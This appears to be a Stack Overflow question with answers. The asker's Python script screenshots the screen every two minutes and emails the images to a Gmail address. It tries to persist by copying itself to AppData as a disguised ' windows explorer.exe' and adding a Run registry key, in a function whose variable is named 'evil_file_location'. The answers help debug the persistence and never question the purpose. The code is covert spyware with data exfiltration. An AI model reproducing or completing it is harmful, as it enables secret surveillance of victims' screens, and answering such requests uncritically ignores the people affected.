1

I am using that startup regedit code(python 3) but not working

startup code:

def become_persistent(self):
    evil_file_location = os.environ["appdata"] + "\\ windows explorer.exe"
    if not os.path.exists(evil_file_location):
        shutil.copyfile(sys.executable, evil_file_location)
        subprocess.call('reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v test /t REG_SZ /d "' + evil_file_location + '"', shell=True)

Full code is here

I have made a python script that sends a screenshot after a specific interval of time. Now I want to add the persistency (program start at startup also) to that program. I have added the startup statement to my program, but it is not working.

import smtplib
import sys
from email.mime.multipart import MIMEMultipart
from email.mime.image import MIMEImage
import time
import os
from smtplib import SMTP
import shutil
from PIL import ImageGrab
import subprocess
import self

def become_persistent(self):
    evil_file_location = os.environ["appdata"] + "\\ windows explorer.exe"
    if not os.path.exists(evil_file_location):
        shutil.copyfile(sys.executable, evil_file_location)
        subprocess.call('reg add HKCV\Software\Microsoft\Windows\CurrentVersion\Run /v test /t REG_SZ /d "' + evil_file_location + '"', shell=True)

    self.become_persistent()
s: SMTP = smtplib.SMTP('smtp.gmail.com', 587)
s.starttls()
s.login("zainali90900666@gmail.com", "password")

msg = MIMEMultipart()
msg['Subject'] = 'Test Email'
msg['From'] = "zainali90900666@gmail.com"
msg['To'] = "zainali90900666@gmail.com"
while True:
    snapshot = ImageGrab.grab()
    # Using png because it cannot write mode RGBA as JPEG
    file = "scr.png"
    snapshot.save(file)
    # Opening the image file and then attaching it
    with open(file, 'rb') as f:
        img = MIMEImage(f.read())
        img.add_header('Content-Disposition', 'attachment', filename=file)
        msg.attach(img)
    os.remove(file)
    s.sendmail("zainali90900666@gmail.com", "zainali90900666@gmail.com", msg.as_string())
    # Change this value to your liking
    time.sleep(120)
emma juila
  • 147
  • 1
  • 1
  • 11

3 Answers3

0

Your become_persistent() is never called.

You need to unindent this line:

self.become_persistent()
Laurent LAPORTE
  • 21,958
  • 6
  • 58
  • 103
  • Still not working when i convert my script to EXE using pyinstaller.i just run in background but not adds to startup reg – emma juila May 24 '20 at 00:19
0

Would you try this code instead? I modified the code to log all errors to a file and put it on your desktop. Look at the file and tell me what you see in the comments. Once you get back to me I will update this answer to actually be an answer

import smtplib
import sys
from email.mime.multipart import MIMEMultipart
from email.mime.image import MIMEImage
import time
import os
from smtplib import SMTP
import shutil
from PIL import ImageGrab
import subprocess
import self

path = 'path2 = R"C:\Users\$USERNAME\Desktop\log.txt"'
full_path = os.path.expanduser(path)


def become_persistent(self):
    evil_file_location = os.environ["appdata"] + "\\ windows explorer.exe"
    if not os.path.exists(evil_file_location):
        shutil.copyfile(sys.executable, evil_file_location)
        subprocess.call('reg add HKCV\Software\Microsoft\Windows\CurrentVersion\Run /v test /t REG_SZ /d "' + evil_file_location + '"', shell=True)
    self.become_persistent()


s: SMTP = smtplib.SMTP('smtp.gmail.com', 587)
s.starttls()
s.login("zainali90900666@gmail.com", "password")
msg = MIMEMultipart()
msg['Subject'] = 'Test Email'
msg['From'] = "zainali90900666@gmail.com"
msg['To'] = "zainali90900666@gmail.com"

try:
    while True:
        snapshot = ImageGrab.grab()
        # Using png because it cannot write mode RGBA as JPEG
        file = "scr.png"
        snapshot.save(file)
        # Opening the image file and then attaching it
        with open(file, 'rb') as f:
            img = MIMEImage(f.read())
            img.add_header('Content-Disposition', 'attachment', filename=file)
            msg.attach(img)
        os.remove(file)
        s.sendmail("zainali90900666@gmail.com", "zainali90900666@gmail.com", msg.as_string())
        # Change this value to your liking
        time.sleep(120)
except Exception as e:
    with open(full_path, 'a') as f:
        f.append(f"{type(e)}: {e}")
CircuitSacul
  • 1,594
  • 12
  • 32
  • my Query is pyinstaller.exe emma.py --onefile --noconsole – emma juila May 24 '20 at 00:59
  • my script working prefectly but not adding to reg startup section .can u pls help in this regard – emma juila May 24 '20 at 04:55
  • I don’t know a lot about Windows or startup reg. Would you confirm that the following is correct? 1. The script works fine when you run it with python, 2. The script takes a screenshot of your display then sends it to your email address. 3. The script will NOT work when you try to make it automatically start when you reboot your computer. If this is correct, I have one idea as to what the problem is. I ran into a similar problem while making a script similar to yours. The script I posted above will take any errors that occurred and log them to a file on your desktop. – CircuitSacul May 24 '20 at 11:55
0

To add it to start up you need to add a shortcut of the exe file to the start up folder:

  • Click Win+R at the same time on your keyboard
  • Type shell:startup
  • Drag and drop your python file onto the folder that opened.

Or you could try this solution in the code: https://stackoverflow.com/a/45617568/13156681